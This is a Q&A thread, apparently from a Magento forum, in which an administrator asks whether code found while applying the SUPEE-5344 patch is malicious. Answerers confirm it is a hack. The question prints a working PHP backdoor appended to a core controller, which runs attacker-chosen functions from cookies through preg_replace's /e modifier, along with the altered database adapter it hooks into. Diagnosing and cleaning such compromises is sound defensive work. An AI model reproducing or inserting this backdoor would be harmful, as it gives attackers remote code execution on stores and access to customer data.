5

I was asked to give some advice on a 1.9.0.1 instance which has had none of the recent SUPEEs installed. SUPEE-1533 went in with no problem, but SUPEE-5344 failed, with a message of

patching file lib/Varien/Db/Adapter/Pdo/Mysql.php
Hunk #1 FAILED at 2834.

Investigating the file, I found this code at line 2836 :

           if (isset($condition['mhztywsxujkfqokw'])) {
            $fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['mhztywsxujkfqokw']);
            unset($condition['mhztywsxujkfqokw']);

The code in an unmodified lib/Varien/Db/Adapter/Pdo/Mysql.php is:

       if (is_array($condition)) {
            if (isset($condition['field_expr'])) {
                $fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['field_expr']);
                unset($condition['field_expr']);
            }

A find for "mhztywsxujkfqokw" led me to app/code/core/Mage/Cms/controllers/IndexController.php, where I found this appended to the end of the stock Magento class:

class Mage_Cms_Auth_xaj
{
    public function __construct() {
        $auth_cookie = @$_COOKIE['mhztywsxujkfqokw3'];
        if ($auth_cookie) {
            $method = $auth_cookie(@$_COOKIE['mhztywsxujkfqokw2']);
            $auth = $auth_cookie(@$_COOKIE['mhztywsxujkfqokw1']);
            $method("/124/e",$auth,124);
        }
    }
}
$is_auth = new Mage_Cms_Auth_xaj;

The class isn't invoked anywhere else, as far as I can see.

I am just wondering - is this something malicious, or a mod that was poorly implemented by editing two core files?

2
  • It looks suss and poorly implemented ;) – BENN1TH Sep 28 '15 at 4:08
  • 2
    @BENN1TH No, that's not a poor implementation. That's a hack and there's probably a lot more. – Anna Völkl Jan 16 '16 at 13:55
10

This is a hack, probably caused by a missing SUPE-5344 patch. As I see you posted this at the end of september and SUPEE-5344 was released in early 2015, it's very likey your shop got hacked inbetween.

The stuff you posted seems related to the SUPEE-5344 vulnerability which is described in detail here: http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability

What do you need to do?

I hope it's not too late and you have taken steps to patch and recover your shop in between.

There are most likely a lot of other files which got changed which you just didn't accidentally detect while applying the patch.

A detailed list on steps to recover can be found here: Magento hacked even after applied patch

2
  • 1
    Thanks Anna. You are pretty much right on with everything in this answer. I ended up finding several other issues with mpmd ( github.com/AOEpeople/mpmd ). Hopefully this will help someone in the future! – AreDubya Jan 16 '16 at 18:32
  • 1
    Hi Anna, I should have mentioned how this turned out - as the client had a simple site and there was a lot of sketchiness on this instance, we did a clean sweep and upgraded to 1.9.2. Seemed prudent to get totally out of the old instance, as there were suspicious code blocks in the CMS as well. Thanks for your input! – AreDubya Jan 24 '16 at 1:59

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.